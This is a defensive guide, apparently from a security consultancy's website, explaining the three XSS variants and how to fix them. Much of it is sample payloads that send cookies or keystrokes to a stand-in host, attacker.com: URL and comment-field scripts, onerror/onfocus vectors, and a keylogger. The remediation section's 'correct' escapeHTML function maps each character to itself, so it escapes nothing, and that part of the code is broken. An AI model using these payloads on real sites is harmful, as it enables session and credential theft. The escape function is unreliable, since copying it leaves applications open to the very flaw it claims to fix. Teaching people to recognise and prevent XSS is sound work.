XSS - Cross-Site Scripting: injecting code into a victim's browser
Cross-Site Scripting (XSS) allows an attacker to inject arbitrary JavaScript code into a victim's browser. That code runs in the context of your domain, with the same rights as your application: access to session cookies, localStorage, the DOM, forms. The impact depends only on what the attacker chooses to do with it.
The three variants
Reflected XSS: The injection travels through an HTTP request (URL parameter, form field) and is immediately echoed back in the response without encoding. The attacker sends a crafted link to the victim. The code executes as soon as the link is opened.
Example: crafted URL with reflected XSS
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Stored (Persistent) XSS: The payload is persisted to the database (comment, message, profile) and displayed to other users. This is the most dangerous variant: a single injection can hit thousands of victims without them clicking anything.
Example: payload in a comment field
<!-- Saisi dans un champ commentaire, affiché à tous les visiteurs -->
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ cookie: document.cookie, url: location.href })
});
</script>
DOM-based XSS: The payload is never sent to the server. It is injected directly into the DOM by client-side JavaScript that reads untrusted data (URL fragment, postMessage, localStorage) and inserts it without encoding.
Example: vulnerable client-side code
// Code vulnérable : lit le fragment d'URL et l'insère en innerHTML
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').innerHTML = 'Bonjour ' + name;
// Attaque : naviguer vers
// page.html#<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
What an attacker can do with XSS
Session theft: If the session cookie is not flagged HttpOnly, JavaScript can read it and send it to a remote server. The attacker replays that cookie and is now logged in as the victim.
Session cookie theft
// Payload injecté - envoie le cookie vers le serveur de l'attaquant
new Image().src = 'https://attacker.com/c?' + encodeURIComponent(document.cookie);
Keylogger: The injected script listens for keyboard events and sends every keystroke to a remote server. On a login page, the attacker captures credentials in plain text.
Keylogger injected via XSS
document.addEventListener('keydown', (e) => {
fetch('https://attacker.com/keys', {
method: 'POST',
body: JSON.stringify({ key: e.key, target: document.activeElement?.name })
});
});
Phishing overlay: The script injects a fake login window over the real page, styled to match the legitimate site. The user enters credentials into the fake form, which sends them straight to the attacker.
Forced CSRF: The script performs actions in the background on the victim's behalf: changing the email address, transferring funds, deleting data, without the victim seeing anything.
What doesn't work
Filtering <script> tags on input is not sufficient protection. There are hundreds of XSS vectors without a script tag: event attributes (onerror, onload, onclick), <img>, <svg>, <iframe> tags, alternative encodings (unicode, URL, HTML entities).
XSS payloads without a script tag
<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>
<svg onload=alert(document.cookie)>
<a href="javascript:void(fetch('https://attacker.com?c='+document.cookie))">cliquez ici</a>
<input autofocus onfocus=fetch('https://attacker.com?c='+document.cookie)>
A keyword blacklist (javascript, onerror, alert...) doesn't hold: encoding, case variation, and Unicode characters allow bypassing almost any blacklist.
Remediation
1. Systematic output encoding: This is the fundamental protection. Any untrusted data inserted into HTML must be encoded according to the context in which it is inserted.
Vulnerable: direct concatenation into HTML
// Node.js / Express
app.get('/search', (req, res) => {
res.send(`<p>Résultats pour : ${req.query.q}</p>`);
});
Correct: HTML encoding the value
function escapeHTML(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
res.send(`<p>Résultats pour : ${escapeHTML(req.query.q)}</p>`);
});
In practice, use a templating engine with automatic escaping: Jinja2 (Python), Blade (Laravel), Handlebars, EJS, or Thymeleaf (Java). They encode variables by default. Be wary of unencoded render directives (|safe, {{{}}}, v-html), use them only for controlled content.
2. Never use innerHTML with user data: In client-side JavaScript, prefer textContent for plain text. If you need to insert dynamic HTML, use DOMPurify to sanitise the content before insertion.
Safe DOM insertion
// Dangereux
document.getElementById('output').innerHTML = userInput;
// Pour du texte brut
document.getElementById('output').textContent = userInput;
// Pour du HTML maîtrisé (nécessite DOMPurify)
import DOMPurify from 'dompurify';
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);
3. Content Security Policy (CSP): A well-configured CSP header prevents the execution of unauthorised scripts, even if an XSS is present. It's a defence-in-depth layer: it doesn't replace output encoding, but drastically reduces the impact of a residual flaw.
Restrictive CSP header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
4. HttpOnly cookies: Marking the session cookie HttpOnly prevents JavaScript from reading it, eliminating the most common session theft vector. Combine with Secure (HTTPS only) and SameSite=Strict.
Secure session cookie configuration
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
Protection summary
- HTML-encode all untrusted data inserted into the response: this is the fundamental rule
- Use
textContentrather thaninnerHTMLfor client-side DOM insertions - Deploy a strict Content Security Policy (CSP), in report-only mode first to measure impact
- Session cookies with
HttpOnly; Secure; SameSite=Strict - Audit usages of
innerHTML,document.write,evaland equivalents in your codebase
Further reading
A question after reading?
Doubts about how your application handles user input? Send a message.
Or book a 30-minute scoping call directly
Book a call →